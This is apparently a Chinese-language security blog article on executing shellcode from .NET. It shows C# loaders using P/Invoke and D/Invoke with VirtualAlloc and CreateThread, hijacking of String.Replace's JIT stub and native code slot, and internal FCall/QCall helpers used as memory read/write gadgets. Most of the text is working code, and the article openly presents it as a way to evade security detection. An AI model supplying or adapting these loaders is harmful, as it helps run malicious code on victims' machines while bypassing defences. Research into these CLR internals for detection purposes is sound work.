在 .NET 中运行非托管代码的骚操作
字数 1042 2025-08-05 08:19:01
在.NET中运行非托管代码的高级技术
背景介绍
自.NET框架发布以来,安全研究人员一直在探索如何在托管环境中执行非托管代码。传统方法如P/Invoke和D/Invoke已被广泛使用,但随着防御技术的进步,这些方法变得越来越容易被检测。本文探讨了几种在.NET中执行非托管代码的高级技术,重点介绍了通过操纵CLR内部结构来实现代码执行的方法。
传统方法回顾
标准P/Invoke方法
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
public static void StartShellcode(byte[] shellcode)
{
IntPtr alloc = VirtualAlloc(IntPtr.Zero, shellcode.Length, (uint)(AllocationType.Commit | AllocationType.Reserve), (uint)MemoryProtection.ExecuteReadWrite);
Marshal.Copy(shellcode, 0, alloc, shellcode.Length);
IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, out uint threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
D/Invoke方法
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
public delegate IntPtr VirtualAllocDelegate(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
public static void StartShellcodeViaDelegate(byte[] shellcode)
{
IntPtr virtualAllocAddr = GetExportAddress(module.BaseAddress, "VirtualAlloc");
var VirtualAlloc = Marshal.GetDelegateForFunctionPointer<VirtualAllocDelegate>(virtualAllocAddr);
var execMem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, (uint)(AllocationType.Commit | AllocationType.Reserve), (uint)MemoryProtection.ExecuteReadWrite);
Marshal.Copy(shellcode, 0, execMem, shellcode.Length);
}
高级技术:操纵CLR内部结构
1. 劫持JIT编译过程
原理分析
当.NET方法首次被调用时,CLR会通过coreclr!PrecodeFixupThunk方法进行JIT编译。我们可以利用这个机制,在JIT编译前修改方法指针,使其指向我们的shellcode。
关键步骤
- 获取目标.NET类的MethodTable
- 通过EEClass找到MethodDesc
- 定位JIT跳板指针
- 修改跳板指针指向shellcode
实现代码
public static void Execute(byte[] shellcode)
{
// 获取System.String的MethodTable
var t = typeof(System.String);
var mt = Marshal.PtrToStructure<MethodTable>(t.TypeHandle.Value);
// 获取EEClass和MethodDesc
var ec = Marshal.PtrToStructure<EEClass>(mt.m_pEEClass);
var md = Marshal.PtrToStructure<MethodDesc>(ec.m_pChunks + 0x18);
// 获取String.Replace方法的跳板指针
IntPtr stub = Marshal.ReadIntPtr(ec.m_pChunks + 0x18 + 8);
// 分配内存并写入shellcode
var kernel32 = typeof(System.String).Assembly.GetType("Interop+Kernel32");
var VirtualAlloc = kernel32.GetMethod("VirtualAlloc", BindingFlags.NonPublic | BindingFlags.Static);
var ptr = VirtualAlloc.Invoke(null, new object[] { IntPtr.Zero, new UIntPtr((uint)shellcode.Length), AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite });
IntPtr mem = (IntPtr)ptr.GetType().GetMethod("GetPointerValue", BindingFlags.NonPublic | BindingFlags.Instance).Invoke(ptr, new object[] { });
Marshal.Copy(shellcode, 0, mem, shellcode.Length);
// 修改跳板指针
var jmpCode = new byte[] { 0x48, 0xB8, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0xFF, 0xE0 };
Marshal.Copy(jmpCode, 0, stub, jmpCode.Length);
Marshal.WriteIntPtr(stub + 2, mem);
// 触发执行
"ANYSTRING".Replace("XPN", "WAZ'ERE", true, null);
}
2. 修改本地代码槽(Native Code Slot)
原理分析
JIT编译完成后,MethodDesc中会存储一个指向已编译本地代码的指针。我们可以修改这个指针,使其指向我们的shellcode,同时保留原始指针以便恢复执行。
关键步骤
- 强制目标方法JIT编译
- 获取本地代码槽指针
- 保存原始指针
- 修改指针指向shellcode
- 在shellcode末尾恢复原始指针
实现代码
public static void Execute()
{
// 获取System.String的MethodTable和相关结构
var t = typeof(System.String);
var mt = Marshal.PtrToStructure<MethodTable>(t.TypeHandle.Value);
var ec = Marshal.PtrToStructure<EEClass>(mt.m_pEEClass);
// 强制JIT编译
"ANYSTRING".Replace("XPN", "WAZ'ERE", true, null);
// 获取本地代码指针
IntPtr nativeCodePointer = Marshal.ReadIntPtr(ec.m_pChunks + 0x18 + 0x10);
// 分配内存并写入shellcode
var kernel32 = typeof(System.String).Assembly.GetType("Interop+Kernel32");
var VirtualAlloc = kernel32.GetMethod("VirtualAlloc", BindingFlags.NonPublic | BindingFlags.Static);
var ptr = VirtualAlloc.Invoke(null, new object[] { IntPtr.Zero, new UIntPtr((uint)shellcode.Length), AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite });
IntPtr mem = (IntPtr)ptr.GetType().GetMethod("GetPointerValue", BindingFlags.NonPublic | BindingFlags.Instance).Invoke(ptr, new object[] { });
Marshal.Copy(shellcode, 0, mem, shellcode.Length);
// 保存原始指针并修改
var orig = Marshal.ReadIntPtr(ec.m_pChunks + 0x18 + 0x10);
Marshal.WriteIntPtr(ec.m_pChunks + 0x18 + 0x10, mem);
Marshal.WriteIntPtr(mem + shellcode.Length - 8, orig);
// 触发执行
"ANYSTRING".Replace("XPN", "WAZ'ERE", true, null);
// 恢复原始指针
Marshal.WriteIntPtr(ec.m_pChunks + 0x18 + 0x10, orig);
}
3. 利用Fcall和Qcall小工具
原理分析
Fcall和Qcall是CLR内部用于从托管代码调用非托管代码的机制。我们可以利用这些机制中的内存读写小工具来实现非托管代码执行。
内存读取小工具
public static IntPtr ReadMemory(IntPtr addr)
{
var stubHelper = typeof(System.String).Assembly.GetType("System.StubHelpers.StubHelpers");
var GetNDirectTarget = stubHelper.GetMethod("GetNDirectTarget", BindingFlags.NonPublic | BindingFlags.Static);
// 准备内存
IntPtr unmanagedPtr = Marshal.AllocHGlobal(200);
for (int i = 0; i < 200; i += IntPtr.Size)
{
Marshal.Copy(new[] { addr }, 0, unmanagedPtr + i, 1);
}
return (IntPtr)GetNDirectTarget.Invoke(null, new object[] { unmanagedPtr });
}
内存写入小工具
public static void WriteMemory(IntPtr addr, IntPtr value)
{
var mngdRefCustomeMarshaller = typeof(System.String).Assembly.GetType("System.StubHelpers.MngdRefCustomMarshaler");
var CreateMarshaler = mngdRefCustomeMarshaller.GetMethod("CreateMarshaler", BindingFlags.NonPublic | BindingFlags.Static);
CreateMarshaler.Invoke(null, new object[] { addr, value });
}
关键数据结构
MethodTable结构
[StructLayout(LayoutKind.Explicit)]
public struct MethodTable
{
[FieldOffset(0)] public uint m_dwFlags;
[FieldOffset(0x4)] public uint m_BaseSize;
[FieldOffset(0x8)] public ushort m_wFlags2;
[FieldOffset(0x0a)] public ushort m_wToken;
[FieldOffset(0x0c)] public ushort m_wNumVirtuals;
[FieldOffset(0x0e)] public ushort m_wNumInterfaces;
[FieldOffset(0x10)] public IntPtr m_pParentMethodTable;
[FieldOffset(0x18)] public IntPtr m_pLoaderModule;
[FieldOffset(0x20)] public IntPtr m_pWriteableData;
[FieldOffset(0x28)] public IntPtr m_pEEClass;
[FieldOffset(0x30)] public IntPtr m_pPerInstInfo;
[FieldOffset(0x38)] public IntPtr m_pInterfaceMap;
}
EEClass结构
[StructLayout(LayoutKind.Explicit)]
public struct EEClass
{
[FieldOffset(0)] public IntPtr m_pGuidInfo;
[FieldOffset(0x8)] public IntPtr m_rpOptionalFields;
[FieldOffset(0x10)] public IntPtr m_pMethodTable;
[FieldOffset(0x18)] public IntPtr m_pFieldDescList;
[FieldOffset(0x20)] public IntPtr m_pChunks;
}
MethodDesc结构
[StructLayout(LayoutKind.Explicit)]
public struct MethodDesc
{
[FieldOffset(0)] public ushort m_wFlags3AndTokenRemainder;
[FieldOffset(2)] public byte m_chunkIndex;
[FieldOffset(0x3)] public byte m_bFlags2;
[FieldOffset(0x4)] public ushort m_wSlotNumber;
[FieldOffset(0x6)] public ushort m_wFlags;
[FieldOffset(0x8)] public IntPtr TempEntry;
}
防御规避技术
-
避免直接P/Invoke:通过反射调用内部Interop方法
var kernel32 = typeof(System.String).Assembly.GetType("Interop+Kernel32"); var VirtualAlloc = kernel32.GetMethod("VirtualAlloc", BindingFlags.NonPublic | BindingFlags.Static); -
使用CLR内部机制:通过操纵MethodDesc和JIT过程执行代码,避免可疑的API调用
-
内存操作隐蔽性:利用Fcall/Qcall小工具进行内存读写,减少直接调用Win32 API
总结
本文介绍了多种在.NET中执行非托管代码的高级技术,从传统的P/Invoke到操纵CLR内部结构的复杂方法。这些技术展示了.NET运行时的灵活性,同时也强调了安全研究人员需要深入理解CLR内部工作原理的重要性。通过利用这些技术,可以实现高度隐蔽的非托管代码执行,同时规避传统的安全检测机制。